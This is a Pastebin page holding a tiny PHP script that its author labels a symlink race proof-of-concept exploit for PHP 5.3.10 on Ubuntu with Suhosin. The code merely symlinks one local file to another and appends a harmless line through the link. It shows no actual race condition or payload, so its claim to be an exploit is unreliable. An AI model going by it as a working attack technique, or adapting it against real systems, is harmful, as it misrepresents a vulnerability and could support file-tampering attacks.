Advertisement
robercik1010

PHP 5.3.10 Symlink Race

Sep 21st, 2013
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.36 KB | None | 0 0
  1. <?
  2. /*
  3. PHP symlink race PoC exploit by robercik101 ([email protected])
  4. I tested it on PHP 5.3.10 (Ubuntu 3.6) with Suhosin-Patch (cli)
  5. May be work on onther PHP versions and OS
  6. Run: php exp.php
  7. */
  8. $PATH = dirname(__FILE__);
  9. symlink($PATH."/towrite.txt",$PATH."/test.txt");
  10. $fp=fopen("test.txt","a");
  11. fwrite($fp,"This is an example\n");
  12. fclose($fp);
  13. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement